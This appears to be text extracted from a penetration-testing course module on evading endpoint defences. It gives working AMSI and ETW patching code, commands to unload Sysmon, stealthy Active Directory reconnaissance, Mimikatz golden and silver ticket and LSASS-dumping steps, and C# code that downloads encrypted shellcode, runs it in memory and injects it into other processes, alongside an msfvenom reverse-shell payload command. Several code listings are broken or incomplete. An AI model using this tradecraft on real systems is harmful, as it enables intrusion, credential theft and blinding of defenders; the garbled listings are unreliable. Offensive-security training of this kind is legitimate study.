[IO.Compression.DeflateStream]::new([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),
[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](1900000)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1900000) | Out-Null
return [Reflection.Assembly]::Load($UncompressedFileBytes)
}
$BooLangAsm = Load-Assembly($BooLangDLL)
$BooLangExtensionsAsm = Load-Assembly($BoolangExtensionsDLL)
$BooLangCompilerAsm = Load-Assembly($BooLangCompilerDLL)
$BooLangParserAsm = Load-Assembly($BooLangParserDLL)

$BooSource = @'
import System
import System.Runtime.InteropServices
[DllImport("kernel32.dll", SetLastError: true, CharSet: CharSet.Unicode)]

public static def LoadLibrary(lpFileName as string) as IntPtr:
pass
[DllImport("kernel32.dll", CharSet: CharSet.Ansi, ExactSpelling: true, SetLastError: true)]

public static def GetProcAddress(hModule as IntPtr, procName as string) as IntPtr:
pass
public static def VirtualProtect(lpAddress as IntPtr, dwSize as int, flNewProtect as uint, ref lpflOldProtect as IntPtr) as
bool:
pass
public static def PatchMem(dll as string, function as string, patch as (byte)):

try:
oldProtect as IntPtr = 0
library = LoadLibrary(dll)
print ""

print "[>] $(dll) address : $(library)"

address = GetProcAddress(library, function)
print "[-] $(function) address : $(address)"
print "[-] Memory Protection changed to PAGE_EXECUTE_READWRITE"
Marshal.Copy(patch, 0, address, patch.Length)
print "[+] Patched $(dll) : $(function)"
print "[-] Memory Protection Restored to PAGE_EXECUTE_READ"
except:
print "[!] Could not patch $(dll) : $(function)"
public static def Main():

amsi_patch as (byte)
etw_patch as (byte)
if IntPtr.Size == 8:
// 64 Bits process
etw_patch = array(byte, [0x48, 0x33, 0xc0, 0xc3])
amsi_patch = array(byte, [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3])

else:
// 32 Bits process
etw_patch = array(byte, [0x33, 0xc0, 0xc2, 0x14, 0x00])
amsi_patch = array(byte, [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00])
PatchMem("nt"+"dll.dll", "Etw" + "Event" + "Write", etw_patch)
PatchMem("am"+"si.dll", "Am"+"si"+"Sc"+"anBu"+"ffer", amsi_patch)
'@
#$scriptinput = New-Object "Boo.Lang.Compiler.IO.StringInput" -ArgumentList "MyScript.boo, $BooSource"
$scriptinput = [Boo.Lang.Compiler.IO.StringInput]::new("MyScript.boo", $BooSource)
#Passing $false to the constructor tells Boo to not automatically reference default assemblies
$parameters = [Boo.Lang.Compiler.CompilerParameters]::new($false)
$parameters.Input.Add($scriptinput) | Out-Null
$parameters.Pipeline = [Boo.Lang.Compiler.Pipelines.CompileToMemory]::new()
$parameters.Ducky = $true # $false increases speed but disables duck typing
#Here we manually add assemblies as references to the compiler that will probably be used 100% of the time within our Boo
code
$parameters.AddAssembly($BooLangAsm)
$parameters.AddAssembly($BooLangExtensionsAsm)
$parameters.AddAssembly($BooLangCompilerAsm)
$parameters.AddAssembly($BooLangParserAsm)

$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("mscorlib"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System.Core"))
#Write-Output $parameters.References
$compiler = [Boo.Lang.Compiler.BooCompiler]::new($parameters)
Write-Output "[+] Compiling..."

$context = $compiler.Run()
if ($context.GeneratedAssembly -ne $null)

{
Write-Output "[+] Executing..."
$scriptModule = $context.GeneratedAssembly.GetType("MyScriptModule")
$mainfunction= $scriptModule.GetMethod("Main")
$mainfunction.Invoke($null, $null)
}
else {
Write-Output "`nError(s) when compiling Boo source!`n"
Write-Output $context.Errors.ToString($true)
}
}

COMPLUS_ETWEnabled
ETW can be disabled without patching the usermode
function EtwEventWrite by just setting and environment
variable of COMPlus_ETWEnabled=0.
https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.95

By using Sysinternal's Process

explorer, the differences
between launching a
PowerShell process without
setting the
COMPlus_ETWEnabled variable
to 0 can be observed.
On the first one, all the .NET

assemblies are shown while on
the second one there is no
information about loaded
assemblies in memory.
1.5
SYSMON

1.5 SYSMON
SYSMON
System Monitor (Sysmon) is a Windows system service and
device driver that logs detailed system activity such as
process creations, network connections and changes to a
file creation time into the Windows event log.
It helps defenders to identify malicious or anomalous

activity giving visibility over attackers operations.
1.5 SYSMON
Some sysmon capabilities are:

• Log process creation with full command line from
current and parent process.
• Hash process image files using SHA1 by default.
• Include process and session GUID for ease of
correlation.
• Logs loading and unloading drivers.

1.5 SYSMON
Some sysmon capabilities are (cont.):

• Logs raw read access of disks and volumes.
• Log network connections, not by default.
• Detect changes in file timestamps.
• Rule filtering.
• Generates events from the boot process to capture
activity by sophisticated kernel-mode malware.

1.5 SYSMON
From an attackers perspective it is crucial to disable

sysmon if this one is running into the target system.
This can be done via two different ways from an

administrator console:
• Using Fltmc.exe Control Program
• Using sshmon
https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/development-and-testing-tools
https://github.com/matterpreter/Shhmon PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.101
1.5 SYSMON
Flmtc can load, list, and unload

filter drivers.
This can be used to unload the

Sysmon Driver and disable all its
logging capabilities except from
networking ones.
# List
PS > fltmc.exe
# Disable SysmonDrv
PS > fltmc.exe unload SysmonDrv

1.5 SYSMON
Sysmon driver can be renamed during installation. However as we can

observe in the previous screenshot it is always loaded at altitude 385201.
Sshmon enumerates and disables Sysmon driver by:

• Enumerate the drivers via FilterFindFirst and FilterFindNext to avoid
crawling the registry
• When it finds the Sysmon driver, it used OpenProcessToken and
AdjustTokenPrivileges to grant itself SeLoadDriverPrivilege
• If the driver is not found using the previous technique it will look into
HKLM\SYSTEM\CurrentControlSet\Services looking for a "Sysmon
Instance"
• If the driver is located and it can get the required privilege it will use
FilterUnload to unload the SysmonDriver.
1.5 SYSMON
Using the shhmon kill switch

with sshmon successfully
disables the Sysmon Driver.
# List
PS > sshmon.exe hunt
# Disable SysmonDrv
PS > sshmon.exe kill

1.6
Endpoint Detection
and Response (EDR)

1.6 Endpoint Detection and Response
Microsoft ATP and ATA
Next generation defense mechanisms such as Microsoft
Defender Advanced Threat Protection are designed to help
preventing, detecting, investigating and responding to
security incidents.
Microsoft Defender ATP uses a combination of

technologies to help in these tasks, those are:
• Endpoint behavioral sensors: collect and process
behavioral signals from the operating system
https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-
atp/microsoft-defender-advanced-threat-protection PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.106
• Cloud Security Analytics: Uses big-data and machine-

learning to detect and recommend responses to
advanced threats.
• Threat Intelligence: Helps identifying attacker'sTactics

Techniques and Procedures (TTPs) by using collected
data from previous attacks.

Microsoft Advanced Threat Analytics is able to inspect multiple
protocols such as Kerberos, DNS, RPC, NTLM, etc. for
authentication, authorization and information gathering.
This helps defenders to identify suspicious activities on the

following Cyber Kill Chain phases:
• Reconnaissance: Where attackers are gathering information
about the environment.
• Lateral Movement: Where attackers are jumping through
different systems to reach their objectives
• Domain Dominance: Where attackers capture information and
achieve persistence to resume their campaign.
https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.108
API Hooking
Next-Gen Antivirus use API hooking to monitor processes
for malicious behavior. This is achieved by overwriting the
first bytes of the target function to hijack the execution
flow. Usually JMP or CALL instructions are inserted to
transfer the execution to the new code (AV code) for
performing the new functionality (checks) and depending
on the result it may return to the original function or stop its
execution.
These hooks are usually implemented in User-Mode instead

of Kernel-Mode, monitoring specific API Calls commonly
used by malware such as, OpenProcess, VirtualAlloc,
WriteProcessMemory, CreateThread, etc. for malicious
process injection.
However, User-Mode hooks can be removed by an attacker

as we will see later in this course.
1.7
Discovery

1.7 Discovery
Host Reconnaissance
Issuing host-recon
commands that are in Mitre’s
ATT&CK or similar knowledge
bases could trigger alerts in
defense systems if they are
chained almost immediately
due to behavior analysis
capabilities.
1.7 Discovery
Windows Management Interface queries are not
usually flagged, and logging is disabled by default.
As an alternate and stealthy way of enumerating

hosts, wmic can be used via the following
commands:
wmic process list brief
wmic group list brief
wmic computersystem list
wmic process list /format:list
wmic computersystem list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
wmic /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get *
Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'"
https://docs.microsoft.com/en-us/windows/win32/wmisdk/using-wmi
https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.113
1.7 Discovery
If the user has access to a remote computer, wmic can also be used to
enumerate remote hosts before jumping into them.
This can be done adding to the command /NODE:"<SERVER_NAME>".

enumerating under other user context can be done adding
/USER:"<DOMAIN>\<USER>" /PASSWORD:"<PASSWORD>"
wmic /NODE:"ELS-DC01" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get *

1.7 Discovery
Network Reconnaissance
LDAP can be used to gather information about Computers/Users
reducing the likelihood of being detected as this is quite normal traffic
and flagging this would lead to a high number of false positives.
PowerView, PywerView or BloodHound (Use –ExcludeDc Flag) can be

used to perform Network Reconnaissance using LDAP queries.
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
https://github.com/the-useless-one/pywerview PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.115
https://github.com/BloodHoundAD/BloodHound
1.7 Discovery
WMIC can also be used to
gather information about Users
and Domains.
Using PowerShell beware that

Get-WMIObject cmdlets are
PSv2+ where Get-CimInstance
are PSv3+.
Alternatively, wmic can be also

used.
1.7 Discovery
# Enumerate Groups
PS > Get-CimInstance –ClassName Win32_Group -Filter "DOMAIN =
'<DOMAIN>'"
# Enumerate User Accounts
PS > Get-WMIObject –Class Win32_UserAccount -Filter "DOMAIN =
'<DOMAIN>'"
# Domain Group User Memberships
Get-CimInstance -ClassName Win32_Group -Filter "Domain = <DOMAIN>'
AND Name='<GROUP_NAME>'"

1.7 Discovery
Some useful wmic queries that can be used for Network

enumeration are:
# DC and Domain Info

wmic NTDOMAIN GET DomainControllerAddress,DomainName,Roles /VALUE
# List Users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname
# List Groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname
# List Domain Admins
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where
"ds_samaccountname='Domain Admins'" Get ds_member /Value

1.7 Discovery
# Enumerate members from a group

wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where
"ds_samaccountname='<GROUP_NAME>'" Get ds_member /Value
# List Computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname

1.7 Discovery
BloodHound ingestors can be used

in a stealthy way to collect specific
information about the Domain.
Avoid contacting the domain

controllers, try to collect only
specific information for the current
attack and do not save the cache file
on disk.
# Do not contact DCs and use stealth collection methods

PS > SharpHound.exe --excludedomaincontrollers --stealth --nosavecache
# Do not contact DCs and collect only ACL information
PS > Sharphound.exe --excludedomaincontrollers –c acl --nosavecache

1.8
Lateral Movement

1.8 Lateral Movement
Lateral Movement
Performing PSExec or WMIexec against a Domain
Controller is usually detected. Any other lateral movement
technique could be flagged as an abnormal user behavior
depending on the computer it is performed from. For
example, performing lateral movement using help desk
users, jumpboxes or IT Staff computers is usually
stealthier. Hijacking existing RDP connections or inspecting
network sessions usually flies under the radar.
Over-Pass-The-Hash
Using NTLM hashes to request Kerberos tickets is flagged
as encryption downgrade or unusual protocol
implementation by defense solutions.
This happens because when NTLM hashes are provided to

request a Kerberos ticket, the selected encryption type will
be RC4 due the lack of AES Keys, contrary to a legitimate
request.
Golden Tickets
To generate Kerberos Tickets
that will not be flagged by
defense systems, adjust the
lifetime of the ticket to a normal
value, usually 600 minutes, and
provide all the keys.
Mimikatz # kerberos::golden
/user:<USER> /domain:<DOMAIN>
/sid:<SID> /aes256:<AES_KEY>
/endin:600 /renewmax:300 /ptt

Silver Tickets
Instead of using kerberoasted account
credentials to login into servers. Silver
Tickets can be created to avoid revealing
the account was compromised. This
happens because by using Silver Tickets
the authentication request would never
reach the Domain Controller and the
related event logs are only present on the
targeted server.
Mimikatz # kerberos::golden /user:<USER>

/domain:<DOMAIN> /sid:<SID>
/aes256:<AES_KEY> /endin:600
/renewmax:300 /service:<SERVICE>
/target:<TARGET_COMPUTER> /ptt

1.9
Credential Access

1.9 Credential Access
Kerberoasting
Domain users can enumerate
service accounts SPNs and
requests Kerberos TGS
Tickets to perform
Kerberoasting or targeted
Kerberoasting.
This will be hard to detect as

its blends as regular AD
traffic.
Extracting Hashes
Performing DCSync operations from remote computers
will be easily flagged as Malicious replication of directory
services as this is a pretty abnormal behavior in a
production environment.

Dumpert can safely dump LSASS

memory using direct system calls
and API unhooking.
The dump file can then be

transferred locally and Mimikatz can
be used to gather credentials.
# Remote Computer
PS > .\Outflank-Dumper.exe
# Local Computer
Mimikatz# sekurlsa::minidump <PATH_TO_DUMP>
Mimikatz# sekurlsa::logonpasswords
https://github.com/outflanknl/Dumpert PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.129

1.10
Sensitive Groups

1.10 Sensitive Groups
Sensitive Groups
Some groups and its members are considered sensitive by some
some defense solutions like Microsoft ATA. Modifying these
groups or resetting passwords from its members will likely be
flagged as an abnormal activity. These groups are:
• Account Operators Domain Controllers • Print Operators
• Administrators • Group Policy Creator • Read Only Domain
• Backup Operators Owners Controllers
• DNS Admins • Incoming Forest Trust • Remote Desktop Users
• Domain Admins Builders (for DCs)
• Domain Controllers • Network Configuration • Replicators
Operators • Schema Admins
• Enterprise Admins • Power Users
• Enterprise Read Only • Server Operators

1.10 Sensitive Groups
However, most of the environments mature enough to

monitor modification of Sensitive Groups follows
Microsoft best practice guidance on delegating
permissions.
As a result there must be more privileged groups than the

ones considered sensitive that can be targeted without
alerting the defense team, for example Help Desk or SQL
Admins.
1.11
Custom Payload
Development

1.11 Custom Payload Development
Default payloads from common Command and Control

Frameworks are easily picked up by EDR solutions.
It is necessary to customize those payloads in order to

achieve a stealthier execution and evade defense
mechanisms in place.

This section will guide the students on how to develop C#

tradecraft in order to download and execute shellcode in
memory evading common defense mechanisms.
Visual Studio must be installed on a Windows machine in

order to complete the exercises, alternatively Mono
Compiler can be used in to compile some code in non
Windows machines. However, it is recommended to use
Visual Studio and .NET 3.5 whereas possible.
https://docs.microsoft.com/en-us/dotnet/csharp/ https://visualstudio.microsoft.com/downloads/ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.135
https://www.mono-project.com/docs/about-mono/languages/csharp/
While working with initial examples, it is recommended to

disable Microsoft Defender in the target machine until AMSI
bypasses are implemented. Always disable Automatic
Sample Submission option

Downloader
The first requirement is to be able to
download the shellcode from the payload’s
server.
The ”downloader” function(lines 7-20) will

connect to the “shellcode_url”, download
its contents and return a byte array. A
custom User-Agent or headers can be
used here in order to differentiate requests
coming from the payloads and the ones
coming from other sources.
The “Main” function(lines 22-28) will

receive the “shellcode_url” as its first
argument, call the “downloader” function
and print the length of the downloaded
shellcode
Code:
using System;
using System.IO;
using System.Net;
using System.Security.Cryptography.X509Certificates;
class Program
{
public static byte[] downloader(string shellcode_url)
{
// Downloads data from an url and return its content
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

// Ignore Certificate Check, remove on production!

// https://stackoverflow.com/questions/12506575/how-to-ignore-the-certificate-check-
when-ssl
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
// End of ignore Certificate Check
byte[] shellcode = wc.DownloadData(shellcode_url);
return shellcode;
}
public static void Main(string[] args)

{
string url = args[0];
byte[] shellcode = downloader(url);
Console.WriteLine("[+] {0} Bytes Downloaded", shellcode.Length);
}
}

Compile and test the code via

the following commands:
# Compile the code via

PS > C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 1_downloader.cs
# Test
PS > 1_downloader.exe <SHELLCODE_URL>

With the downloader function, downloading a shellcode

from the payload’s server in memory can be achieved with
a lot of flexibility on how to customize the request.
It is recommended to read WebClient’s documentation to

learn about its functionality and how to personalize
different aspects in order to blend with normal traffic.
https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=netframework-4.8 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.141

Payload Encryption.
Downloading the shellcode over SSL it is not enough to evade
some enterprise defense solutions as they perform Deep Packet
Inspection of SSL traffic (DPI-SSL). This means the traffic is
transparently decrypted, scanned for threats and then re-
encrypted to its destination if no malicious content is detected.
These solutions can be evaded adding encryption to the

shellcode and decrypting it once it is in memory.

The first step will be to encrypt the

payloads with the following
functions.
“AES_Encrypt” function (Lines 9-32)

receives 2 bytes arrays, the first one
are the contents from to be
encrypted and the second one will
be the password bytes. This
function will return the encrypted
contents using AES
The next step is to create the

reverse function, AES_Decrypt from
lines 33 to 56 this function will be
mainly the same as the
AES_Encrypt function with the main
difference on line 47, where the
CryptoStream is created using
AES.CreateDecryptor().
The function will return the

decrypted contents in a byte array.
Then the PrintShellcode function will be created from lines 57 – 74. This
function will accept an array of bytes and print them in a format we can copy
and paste into our C# code for future use.
Our Main function will be on lines 75 to 92. It will check for an argument passed to the
program and this will be the shellcode file in binary format. It will pass the contents of the
file to the AES_Encrypt function to be encrypted with the password "Sup3rS3cr3t!", write
the encrypted contents in a file with the same name as the input file but adding "_enc" at
the end and print the encrypted contents on the screen.
# Compile the code via

PS > C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 2_aes_encryption.cs
# Test
PS > 2_aes_encryption.exe <SHELLCODE>
# On non windows machines with mono installed this can be done via
~ csc 2_aes_encryption.cs
~ mono 2_aes_encryption.exe <SHELLCODE>

Code:
//Taken from https://www.codeproject.com/Articles/769741/Csharp-AES-bits-Encryption-Library-with-Salt
using System.Security.Cryptography;
using System.IO;
using System.Text;
using System;
public class Encrypt

{
public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
byte[] encryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);

AES.Key = key.GetBytes(AES.KeySize / 8);

AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(),
CryptoStreamMode.Write))
{
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return encryptedBytes;
}

public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
{
{
AES.KeySize = 256;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}

public static void PrintShellcode(byte[] shellcodeBytes)

{
StringBuilder shellcode = new StringBuilder();
shellcode.Append("byte[] shellcode = new byte[");
shellcode.Append(shellcodeBytes.Length);
shellcode.Append("] { ");
for (int i = 0; i < shellcodeBytes.Length; i++)
{
shellcode.Append("0x");
shellcode.AppendFormat("{0:x2}", shellcodeBytes[i]);
if (i < shellcodeBytes.Length - 1)
{
shellcode.Append(",");
}
}
shellcode.Append(" };");
Console.WriteLine(shellcode.ToString());
}


{
if (args.Length == 0)
{
Console.WriteLine("[!] Usage: encrypt_shellcode_to_file FILE");
return;
}
byte[] shellcode = File.ReadAllBytes(args[0]);
string outputFile = args[0] + "_enc";
byte[] password = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("Sup3rS3cr3t!"));
Console.WriteLine("[<] Shellcode Length: {0} Bytes", shellcode.Length);
byte[] shellcodeEncrypted = AES_Encrypt(shellcode, password);
Console.WriteLine("[+] Encrypted Shellcode Lenght: {0} Bytes", shellcodeEncrypted.Length);
File.WriteAllBytes(outputFile, shellcodeEncrypted);
Console.WriteLine("[>] Encrypted Shellcode Saved in {0}",outputFile);
PrintShellcode(shellcodeEncrypted);
}
}

Download and Decrypt

The downloader code will be modified to download and
decrypt the code in memory with the AES_Decrypt function
developed in the previous step.

At this point a new class

"Encrypt" will be created
from the previous code, in
this case only the function
AES_Decrypt will be added
from lines 10 to 34.

Program Class will have the

downloader function remaining the
same, but our main function will have
some changes:
• eShellcode in line 54 will host the
downloaded encrypted shellcode.
• dShellcode will host the decrypted
shellcode by calling the
AES_Decrypt function in Encrypt
class passing the eShellcode as
the first argument to the function
and the password to decrypt the
contents as the second argument
to the function.
For testing purposes we can create a local webserver in order to

test the functionality. Compile and test the code via:
# Local Web Server
~ python3 -m http.server 8080
# Compile via
~ csc 3_download_decrypt.cs
# Test via
~ mono 3_download_decrypt.exe <ENCRYPTED_SHELLCODE_URL>

Code:
using System;
using System.IO;
using System.Net;
using System.Text;

{
{


{
{
AES.KeySize = 256;
{
cs.Close();
}
}
}
}
}

public class Program

{
{
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
// https://stackoverflow.com/questions/12506575/how-to-ignore-the-certificate-check-when-
ssl
return shellcode;
}


{
byte[] eShellcode = downloader(url);
byte[] dShellcode = Encrypt.AES_Decrypt(eShellcode, password);
Console.WriteLine("[<] {0} Bytes Downloaded!", eShellcode.Length);
Console.WriteLine("[+] Decrypted shellcode size: {0}", dShellcode.Length);
}
}

Shellcode Execution
Downloading and decrypting shellcode has been achieved in the
previous steps. Now that the shellcode resides in memory it is
time to execute it.
The functions used for this will be VirtualAlloc to allocate space

for the shellcode in the virtual address of the process,
VirtualProtect to change the memory permissions, CreateThread
to execute the shellcode and WaitForSingleObject to wait for the
shellcode execution to finish.
A new class called Win32 will

be created from line 9 to 37
where all the Windows API
functions and variables
needed to execute the
shellcode will be defined.
This can be done with the

help of Pinvoke.net.
https://www.pinvoke.net/ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.162
A new function will be added to our Program class from the previous example, RunShellcode from lines 67-83.
This function will do the following:
• 70: Allocate memory to host the shellcode with PAGE_READWRITE permissions. It is important to avoid
allocate memory using PAGE_EXECUTE_READWRITE as this will increase the chances of getting caught by
defense solutions.
• 72: Copy the shellcode into the allocated memory
• 74-75: Change memory permissions to PAGE_EXECUTE_READ in order to be able to execute our shellcode.
• 77-82: It will create a new thread with the shellcode and wait for its execution to finish before exiting.
The main function will have a call to our new function

RunShellcode passing the decrypted shellcode as its first
argument.

The functionality can be tested by creating a meterpreter reverse tcp payload, encrypting it as
we have done previously with 2_aes_encryption.exe and passing the encrypted shellcode URL
as a first argument to our tool.
# Create shellcode
~ msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> EXITFUNC=thread –smallest –f raw –o shellcode.bin
# Encrypt shellcode
~ mono 2_aes_encryption.exe shellcode.bin
# Testing web server
~ python3 –m http.server 8080
# Execute
4_download_decrypt_execute.exe <SHELLCODE_URL>

Code:
using System;
using System.IO;
using System.Net;
using System.Text;
public class Win32

{
// https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
public static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size,
UInt32 flAllocationType, UInt32 flProtect);
// https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
public static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize,
UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

// https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// Variables
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
public static int SW_HIDE = 0;
}


{
{
{
{
AES.KeySize = 256;


{
cs.Close();
}
}
}
}
}


{
public static void RunShellcode(byte[] shellcode)
{
// Allocate process memory with PAGE_READWRITE permissions
UInt32 codeAddr = Win32.VirtualAlloc(0, (UInt32)shellcode.Length, Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
// Copy shellcode into the allocated memory
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
// Change memory permissions to PAGE_EXECUTE_READ
uint oldProtect;
Win32.VirtualProtect((IntPtr)codeAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out oldProtect);
// Execute shellcode
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = Win32.CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
// Wait for the thread to finish
Win32.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}


{
ssl
return shellcode;
}


{
// Hide Process Window
var handle = Win32.GetConsoleWindow();
Win32.ShowWindow(handle, Win32.SW_HIDE);
Console.WriteLine("[<] {0} Bytes Downloaded!", shellcode.Length);
shellcode = Encrypt.AES_Decrypt(shellcode, password);
Console.WriteLine("[+] Decrypted shellcode size: {0}", shellcode.Length);
Console.WriteLine("[!] Executing shellcode!");
RunShellcode(shellcode);
}
}

CreateRemoteThread Shellcode Injection.

CreateRemoteThread function creates a thread that runs in
the virtual address space of another process. This should
solve the previous issue as the shellcode launcher process
will live only for downloading, decrypting and injecting into
another process the shellcode.
The functions used to achieve this injection are

OpenProcess, VirtualAllocEx, WriteProcessMemory,
VirtualProtectEx and CreateRemoteThread.
Create a new class Win32

defining the Windows API
Functions needed for the
CreateRemoteThread injection
program.

After adding the Encrypt class,
create a function that returns an int
named GetPid in our Program class.
This function will accept a process

name as its first argument, get all
running processes into a Process
array and iterate through them until
the name of a process matches with
the "procName" we passed as the
first argument.
Once we have a match, the Process

Id will be returned.
The next function, InjectShellcode will accept a byte array containing the decrypted shellcode and an integer
belonging to the remote process id where the shellcode will be injected. The function will:
• 96: Open a handle to the remote process
• 99: Allocate memory in the remote process with PAGE_READWRITE permissions
• 101: Write the shellcode into the allocated process memory
• 103-104: Change memory permissions to PAGE_EXECUTE_READ
• 106: Create a remote thread in the target process executing the injected shellcode.

The main function will need 2 arguments, the shellcode url and
the process name where the shellcode will be injected. It will
download and decrypt the shellcode, locate the process id using
GetPid function and inject the shellcode via InjectShellcode
function.
The same shellcode from the previous exercise can be used this time. We can see how after compiling and
executing the code with the shellcode url and the target process, the shellcode gets executed under
notepad.exe
# Create shellcode
# Encrypt shellcode
# Execute
5_CreateRemoteThread_Shellcode_Injection.exe <SHELLCODE_URL> <PROCNAME>

Although stealthier than the previous technique, there is still

the need of knowing beforehand a process that will be
running on the target system that it won’t cause any alert or
suspicious behavior as the one observed in the target
process properties.

Code:
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Diagnostics;
using System.Collections.Generic;
public class Win32

{
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createremotethread
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
